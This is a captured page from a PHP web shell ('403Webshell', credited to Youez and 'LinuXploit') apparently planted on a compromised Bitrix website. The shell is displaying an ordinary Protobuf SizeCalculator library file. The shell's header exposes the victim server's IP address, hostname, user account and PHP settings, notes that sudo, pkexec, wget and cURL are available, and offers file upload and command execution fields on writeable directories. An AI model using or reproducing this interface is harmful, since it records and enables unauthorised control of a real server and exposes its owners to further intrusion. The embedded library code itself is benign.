403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/pull/vendor/Protobuf/Binary/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/pull/vendor/Protobuf/Binary/SizeCalculator.php
<?php

namespace Protobuf\Binary;

use Protobuf\Binary\Platform\BigEndian;
use Protobuf\MessageInterface;
use Protobuf\Configuration;
use Protobuf\WireFormat;
use Protobuf\Unknown;
use Protobuf\Stream;

/**
 * Compute the number of bytes that would be needed to encode a value
 *
 * @author Fabio B. Silva <fabio.bat.silva@gmail.com>
 */
class SizeCalculator
{
    /**
     * @var \Protobuf\Configuration
     */
    protected $config;

    /**
     * Constructor
     *
     * @param \Protobuf\Configuration $config
     */
    public function __construct(Configuration $config)
    {
        $this->config = $config;
    }

    /**
     * Compute the number of bytes that would be needed to encode a varint.
     *
     * @param integer $value
     *
     * @return integer
     */
    public function computeVarintSize($value)
    {
        if (($value & (0xffffffff <<  7)) === 0) {
            return 1;
        }

        if (($value & (0xffffffff << 14)) === 0) {
            return 2;
        }

        if (($value & (0xffffffff << 21)) === 0) {
            return 3;
        }

        if (($value & (0xffffffff << 28)) === 0) {
            return 4;
        }

        if (($value & (0xffffffff << 35)) === 0) {
            return 5;
        }

        if (($value & (0xffffffff << 42)) === 0) {
            return 6;
        }

        if (($value & (0xffffffff << 49)) === 0) {
            return 7;
        }

        if (($value & (0xffffffff << 56)) === 0) {
            return 8;
        }

        if (($value & (0xffffffff << 63)) === 0) {
            return 9;
        }

        return 10;
    }

    /**
     * Compute the number of bytes that would be needed to encode a zigzag 32.
     *
     * @param integer $value
     *
     * @return integer
     */
    public function computeZigzag32Size($value)
    {
        $varint = ($value << 1) ^ ($value >> 32 - 1);
        $size   = $this->computeVarintSize($varint);

        return $size;
    }

    /**
     * Compute the number of bytes that would be needed to encode a zigzag 64.
     *
     * @param integer $value
     *
     * @return integer
     */
    public function computeZigzag64Size($value)
    {
        $varint = ($value << 1) ^ ($value >> 64 - 1);
        $size   = $this->computeVarintSize($varint);

        return $size;
    }

    /**
     * Compute the number of bytes that would be needed to encode a string.
     *
     * @param integer $value
     *
     * @return integer
     */
    public function computeStringSize($value)
    {
        $length = mb_strlen($value, '8bit');
        $size   = $length + $this->computeVarintSize($length);

        return $size;
    }

    /**
     * Compute the number of bytes that would be needed to encode a stream of bytes.
     *
     * @param \Protobuf\Stream $value
     *
     * @return integer
     */
    public function computeByteStreamSize(Stream $value)
    {
        $length = $value->getSize();
        $size   = $length + $this->computeVarintSize($length);

        return $size;
    }

    /**
     * Compute the number of bytes that would be needed to encode a sFixed32.
     *
     * @return integer
     */
    public function computeSFixed32Size()
    {
        return 4;
    }

    /**
     * Compute the number of bytes that would be needed to encode a fixed32.
     *
     * @return integer
     */
    public function computeFixed32Size()
    {
        return 4;
    }

    /**
     * Compute the number of bytes that would be needed to encode a sFixed64.
     *
     * @return integer
     */
    public function computeSFixed64Size()
    {
        return 8;
    }

    /**
     * Compute the number of bytes that would be needed to encode a fixed64.
     *
     *
     * @return integer
     */
    public function computeFixed64Size()
    {
        return 8;
    }

    /**
     * Compute the number of bytes that would be needed to encode a float.
     *
     * @return integer
     */
    public function computeFloatSize()
    {
        return 4;
    }

    /**
     * Compute the number of bytes that would be needed to encode a double.
     *
     * @return integer
     */
    public function computeDoubleSize()
    {
        return 8;
    }

    /**
     * Compute the number of bytes that would be needed to encode a bool.
     *
     * @return integer
     */
    public function computeBoolSize()
    {
        return 1;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit